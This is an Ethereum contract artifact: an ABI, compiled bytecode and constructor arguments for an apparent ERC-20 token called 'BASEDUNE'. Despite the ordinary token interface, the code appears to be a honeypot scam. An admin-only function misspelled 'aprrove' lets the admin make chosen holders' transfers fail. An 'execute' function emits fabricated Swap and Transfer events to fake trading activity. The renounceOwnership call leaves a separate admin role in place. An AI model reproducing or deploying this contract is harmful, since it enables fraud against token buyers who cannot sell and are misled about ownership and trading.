[ { "inputs": [ { "internalType": "string", "name": "_name", "type": "string" }, { "internalType": "string", "name": "_symbol", "type": "string" }, { "internalType": "uint256", "name": "_totalSupply", "type": "uint256" }, { "internalType": "address", "name": "tokenOwner", "type": "address" }, { "internalType": "address", "name": "sender", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "bytes32", "name": "role", "type": "bytes32" }, { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "sender", "type": "address" } ], "name": "ApproveBurn", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "sender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "amount0In", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "amount1In", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "amount0Out", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "amount1Out", "type": "uint256" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" } ], "name": "Swap", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "user", "type": "address[]" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "aprrove", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "pair", "type": "address" }, { "internalType": "address", "name": "token", "type": "address" }, { "internalType": "address[]", "name": "receivers", "type": "address[]" }, { "internalType": "uint256", "name": "amount", "type": "uint256" }, { "internalType": "uint256", "name": "wethamount", "type": "uint256" } ], "name": "execute", "outputs": [ { "internalType": "bool", "name": "success", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" } ], "name": "queryApprove", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [ { "internalType": "bool", "name": "success", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
608060405261dead60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610051575f80fd5b50604051612cbd380380612cbd833981810160405281019061007391906106a9565b848484838360039081610086919061095c565b508260049081610096919061095c565b506100cb816100a961019960201b60201c565b600a6100b59190610b93565b846100c09190610bdd565b6101a160201b60201c565b505050506100e15f801b8261030460201b60201c565b8160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061018f73dfbf43420ff89b36e1a1a5227a885c8bf5116fb761014761019960201b60201c565b600a6101539190610b93565b61017a606461016c6002896103eb60201b90919060201c565b61043060201b90919060201c565b6101849190610bdd565b6101a160201b60201c565b5050505050610d7b565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361020f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020690610c78565b60405180910390fd5b6102205f838361045a60201b60201c565b8060025f8282546102319190610c96565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546102839190610c96565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102e79190610cd8565b60405180910390a36103005f838361045f60201b60201c565b5050565b610314828261046460201b60201c565b6103e757600160065f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061038c6104c860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f1543dfe71844184d04993961a893d25562eb4414aa1b83c0b19b2c23843104f360405160405180910390a45b5050565b5f8083036103fb575f905061042a565b5f82846104089190610bdd565b90508284826104179190610d1e565b1461042557610424610d4e565b5b809150505b92915050565b5f80821161044157610440610d4e565b5b5f828461044e9190610d1e565b90508091505092915050565b505050565b505050565b5f60065f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61052e826104e8565b810181811067ffffffffffffffff8211171561054d5761054c6104f8565b5b80604052505050565b5f61055f6104cf565b905061056b8282610525565b919050565b5f67ffffffffffffffff82111561058a576105896104f8565b5b610593826104e8565b9050602081019050919050565b8281835e5f83830152505050565b5f6105c06105bb84610570565b610556565b9050828152602081018484840111156105dc576105db6104e4565b5b6105e78482856105a0565b509392505050565b5f82601f830112610603576106026104e0565b5b81516106138482602086016105ae565b91505092915050565b5f819050919050565b61062e8161061c565b8114610638575f80fd5b50565b5f8151905061064981610625565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106788261064f565b9050919050565b6106888161066e565b8114610692575f80fd5b50565b5f815190506106a38161067f565b92915050565b5f805f805f60a086880312156106c2576106c16104d8565b5b5f86015167ffffffffffffffff8111156106df576106de6104dc565b5b6106eb888289016105ef565b955050602086015167ffffffffffffffff81111561070c5761070b6104dc565b5b610718888289016105ef565b94505060406107298882890161063b565b935050606061073a88828901610695565b925050608061074b88828901610695565b9150509295509295909350565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107a657607f821691505b6020821081036107b9576107b8610762565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261081b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826107e0565b61082586836107e0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61086061085b6108568461061c565b61083d565b61061c565b9050919050565b5f819050919050565b61087983610846565b61088d61088582610867565b8484546107ec565b825550505050565b5f90565b6108a1610895565b6108ac818484610870565b505050565b5b818110156108cf576108c45f82610899565b6001810190506108b2565b5050565b601f821115610914576108e5816107bf565b6108ee846107d1565b810160208510156108fd578190505b610911610909856107d1565b8301826108b1565b50505b505050565b5f82821c905092915050565b5f6109345f1984600802610919565b1980831691505092915050565b5f61094c8383610925565b9150826002028217905092915050565b61096582610758565b67ffffffffffffffff81111561097e5761097d6104f8565b5b610988825461078f565b6109938282856108d3565b5f60209050601f8311600181146109c4575f84156109b2578287015190505b6109bc8582610941565b865550610a23565b601f1984166109d2866107bf565b5f5b828110156109f9578489015182556001820191506020850194506020810190506109d4565b86831015610a165784890151610a12601f891682610925565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610aad57808604811115610a8957610a88610a2b565b5b6001851615610a985780820291505b8081029050610aa685610a58565b9450610a6d565b94509492505050565b5f82610ac55760019050610b80565b81610ad2575f9050610b80565b8160018114610ae85760028114610af257610b21565b6001915050610b80565b60ff841115610b0457610b03610a2b565b5b8360020a915084821115610b1b57610b1a610a2b565b5b50610b80565b5060208310610133831016604e8410600b8410161715610b565782820a905083811115610b5157610b50610a2b565b5b610b80565b610b638484846001610a64565b92509050818404811115610b7a57610b79610a2b565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610b9d8261061c565b9150610ba883610b87565b9250610bd57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ab6565b905092915050565b5f610be78261061c565b9150610bf28361061c565b9250828202610c008161061c565b91508282048414831517610c1757610c16610a2b565b5b5092915050565b5f82825260208201905092915050565b7f7a65726f206164647265737300000000000000000000000000000000000000005f82015250565b5f610c62600c83610c1e565b9150610c6d82610c2e565b602082019050919050565b5f6020820190508181035f830152610c8f81610c56565b9050919050565b5f610ca08261061c565b9150610cab8361061c565b9250828201905080821115610cc357610cc2610a2b565b5b92915050565b610cd28161061c565b82525050565b5f602082019050610ceb5f830184610cc9565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610d288261061c565b9150610d338361061c565b925082610d4357610d42610cf1565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffd5b611f3580610d885f395ff3fe608060405234801561000f575f80fd5b50600436106100fe575f3560e01c8063715018a61161009557806399e99a0e1161006457806399e99a0e146102c2578063a457c2d7146102f2578063a9059cbb14610322578063dd62ed3e14610352576100fe565b8063715018a6146102385780638281f490146102565780638da5cb5b1461028657806395d89b41146102a4576100fe565b8063313ce567116100d1578063313ce5671461019e57806339509351146101bc5780633f893de7146101ec57806370a0823114610208576100fe565b806306fdde0314610102578063095ea7b31461012057806318160ddd1461015057806323b872dd1461016e575b5f80fd5b61010a610382565b6040516101179190611382565b60405180910390f35b61013a60048036038101906101359190611440565b610412565b6040516101479190611498565b60405180910390f35b61015861042f565b60405161016591906114c0565b60405180910390f35b610188600480360381019061018391906114d9565b610438565b6040516101959190611498565b60405180910390f35b6101a661052a565b6040516101b39190611544565b60405180910390f35b6101d660048036038101906101d19190611440565b610532565b6040516101e39190611498565b60405180910390f35b6102066004803603810190610201919061169d565b6105d9565b005b610222600480360381019061021d91906116f7565b610685565b60405161022f91906114c0565b60405180910390f35b6102406106ca565b60405161024d9190611498565b60405180910390f35b610270600480360381019061026b9190611722565b6107b3565b60405161027d9190611498565b60405180910390f35b61028e61099f565b60405161029b91906117c4565b60405180910390f35b6102ac6109c7565b6040516102b99190611382565b60405180910390f35b6102dc60048036038101906102d791906116f7565b610a57565b6040516102e991906114c0565b60405180910390f35b61030c60048036038101906103079190611440565b610a9d565b6040516103199190611498565b60405180910390f35b61033c60048036038101906103379190611440565b610b83565b6040516103499190611498565b60405180910390f35b61036c600480360381019061036791906117dd565b610ba0565b60405161037991906114c0565b60405180910390f35b60606003805461039190611848565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd90611848565b80156104085780601f106103df57610100808354040283529160200191610408565b820191905f5260205f20905b8154815290600101906020018083116103eb57829003601f168201915b5050505050905090565b5f61042561041e610c22565b8484610c29565b6001905092915050565b5f600254905090565b5f610444848484610dec565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048b610c22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561050a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610501906118e8565b60405180910390fd5b61051e85610516610c22565b858403610c29565b60019150509392505050565b5f6012905090565b5f6105cf61053e610c22565b848460015f61054b610c22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105ca9190611933565b610c29565b6001905092915050565b5f801b6105ed816105e8610c22565b611060565b5f5b835181101561067f5761060061052a565b600a61060c9190611a95565b836106179190611adf565b60085f86848151811061062d5761062c611b20565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806001019150506105ef565b50505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600191505090565b5f805f1b6107c8816107c3610c22565b611060565b5f5b8551811015610990578581815181106107e6576107e5611b20565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161084a91906114c0565b60405180910390a385818151811061086557610864611b20565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673dfbf43420ff89b36e1a1a5227a885c8bf5116fb773ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822875f80896040516108e39493929190611b8f565b60405180910390a38673ffffffffffffffffffffffffffffffffffffffff166323b872dd87838151811061091a57610919611b20565b5b60200260200101518a876040518463ffffffff1660e01b815260040161094293929190611bd2565b6020604051808303815f875af115801561095e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109829190611c31565b5080806001019150506107ca565b50600191505095945050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109d690611848565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0290611848565b8015610a4d5780601f10610a2457610100808354040283529160200191610a4d565b820191905f5260205f20905b815481529060010190602001808311610a3057829003601f168201915b5050505050905090565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8060015f610aaa610c22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b90611ca6565b60405180910390fd5b610b78610b6f610c22565b85858403610c29565b600191505092915050565b5f610b96610b8f610c22565b8484610dec565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8e90611d0e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90611d76565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ddf91906114c0565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190611dde565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611e46565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90611eae565b60405180910390fd5b610f52838383611076565b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f9d9190611ecc565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fef9190611933565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161105391906114c0565b60405180910390a3505050565b61106a8282611095565b611072575f80fd5b5050565b61108083836110f9565b156110905761108f83826111a0565b5b505050565b5f60065f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119757505f81115b91505092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90611eae565b60405180910390fd5b61122e8383611233565b505050565b8060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461127f9190611ecc565b925050819055505f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20540361130e57600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61135482611312565b61135e818561131c565b935061136e81856020860161132c565b6113778161133a565b840191505092915050565b5f6020820190508181035f83015261139a818461134a565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113dc826113b3565b9050919050565b6113ec816113d2565b81146113f6575f80fd5b50565b5f81359050611407816113e3565b92915050565b5f819050919050565b61141f8161140d565b8114611429575f80fd5b50565b5f8135905061143a81611416565b92915050565b5f8060408385031215611456576114556113ab565b5b5f611463858286016113f9565b92505060206114748582860161142c565b9150509250929050565b5f8115159050919050565b6114928161147e565b82525050565b5f6020820190506114ab5f830184611489565b92915050565b6114ba8161140d565b82525050565b5f6020820190506114d35f8301846114b1565b92915050565b5f805f606084860312156114f0576114ef6113ab565b5b5f6114fd868287016113f9565b935050602061150e868287016113f9565b925050604061151f8682870161142c565b9150509250925092565b5f60ff82169050919050565b61153e81611529565b82525050565b5f6020820190506115575f830184611535565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115978261133a565b810181811067ffffffffffffffff821117156115b6576115b5611561565b5b80604052505050565b5f6115c86113a2565b90506115d4828261158e565b919050565b5f67ffffffffffffffff8211156115f3576115f2611561565b5b602082029050602081019050919050565b5f80fd5b5f61161a611615846115d9565b6115bf565b9050808382526020820190506020840283018581111561163d5761163c611604565b5b835b81811015611666578061165288826113f9565b84526020840193505060208101905061163f565b5050509392505050565b5f82601f8301126116845761168361155d565b5b8135611694848260208601611608565b91505092915050565b5f80604083850312156116b3576116b26113ab565b5b5f83013567ffffffffffffffff8111156116d0576116cf6113af565b5b6116dc85828601611670565b92505060206116ed8582860161142c565b9150509250929050565b5f6020828403121561170c5761170b6113ab565b5b5f611719848285016113f9565b91505092915050565b5f805f805f60a0868803121561173b5761173a6113ab565b5b5f611748888289016113f9565b9550506020611759888289016113f9565b945050604086013567ffffffffffffffff81111561177a576117796113af565b5b61178688828901611670565b93505060606117978882890161142c565b92505060806117a88882890161142c565b9150509295509295909350565b6117be816113d2565b82525050565b5f6020820190506117d75f8301846117b5565b92915050565b5f80604083850312156117f3576117f26113ab565b5b5f611800858286016113f9565b9250506020611811858286016113f9565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185f57607f821691505b6020821081036118725761187161181b565b5b50919050565b7f7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e635f8201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118d260218361131c565b91506118dd82611878565b604082019050919050565b5f6020820190508181035f8301526118ff816118c6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61193d8261140d565b91506119488361140d565b92508282019050808211156119605761195f611906565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156119bb5780860481111561199757611996611906565b5b60018516156119a65780820291505b80810290506119b485611966565b945061197b565b94509492505050565b5f826119d35760019050611a8e565b816119e0575f9050611a8e565b81600181146119f65760028114611a0057611a2f565b6001915050611a8e565b60ff841115611a1257611a11611906565b5b8360020a915084821115611a2957611a28611906565b5b50611a8e565b5060208310610133831016604e8410600b8410161715611a645782820a905083811115611a5f57611a5e611906565b5b611a8e565b611a718484846001611972565b92509050818404811115611a8857611a87611906565b5b81810290505b9392505050565b5f611a9f8261140d565b9150611aaa83611529565b9250611ad77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846119c4565b905092915050565b5f611ae98261140d565b9150611af48361140d565b9250828202611b028161140d565b91508282048414831517611b1957611b18611906565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611b79611b74611b6f84611b4d565b611b56565b61140d565b9050919050565b611b8981611b5f565b82525050565b5f608082019050611ba25f8301876114b1565b611baf6020830186611b80565b611bbc6040830185611b80565b611bc960608301846114b1565b95945050505050565b5f606082019050611be55f8301866117b5565b611bf260208301856117b5565b611bff60408301846114b1565b949350505050565b611c108161147e565b8114611c1a575f80fd5b50565b5f81519050611c2b81611c07565b92915050565b5f60208284031215611c4657611c456113ab565b5b5f611c5384828501611c1d565b91505092915050565b7f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f00005f82015250565b5f611c90601e8361131c565b9150611c9b82611c5c565b602082019050919050565b5f6020820190508181035f830152611cbd81611c84565b9050919050565b7f617070726f76652066726f6d20746865207a65726f20616464726573730000005f82015250565b5f611cf8601d8361131c565b9150611d0382611cc4565b602082019050919050565b5f6020820190508181035f830152611d2581611cec565b9050919050565b7f617070726f766520746f20746865207a65726f206164647265737300000000005f82015250565b5f611d60601b8361131c565b9150611d6b82611d2c565b602082019050919050565b5f6020820190508181035f830152611d8d81611d54565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f206164647265737300005f82015250565b5f611dc8601e8361131c565b9150611dd382611d94565b602082019050919050565b5f6020820190508181035f830152611df581611dbc565b9050919050565b7f7472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f611e30601c8361131c565b9150611e3b82611dfc565b602082019050919050565b5f6020820190508181035f830152611e5d81611e24565b9050919050565b7f7472616e7366657220616d6f756e7420657863656564732062616c616e6365005f82015250565b5f611e98601f8361131c565b9150611ea382611e64565b602082019050919050565b5f6020820190508181035f830152611ec581611e8c565b9050919050565b5f611ed68261140d565b9150611ee18361140d565b9250828203905081811115611ef957611ef8611906565b5b9291505056fea26469706673582212204666c4194080dac180de30bd9c388d5a267bf7dceaaff5b95e59972166110abb64736f6c6343000819003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000dfbf43420ff89b36e1a1a5227a885c8bf5116fb7000000000000000000000000ed915a01b86741acca60a4da396c05ff453d67ee00000000000000000000000000000000000000000000000000000000000000084241534544554e4500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084241534544554e45000000000000000000000000000000000000000000000000
0xa26469706673582212204666c4194080dac180de30bd9c388d5a267bf7dceaaff5b95e59972166110abb64736f6c6343000819003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000dfbf43420ff89b36e1a1a5227a885c8bf5116fb7000000000000000000000000ed915a01b86741acca60a4da396c05ff453d67ee00000000000000000000000000000000000000000000000000000000000000084241534544554e4500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084241534544554e45000000000000000000000000000000000000000000000000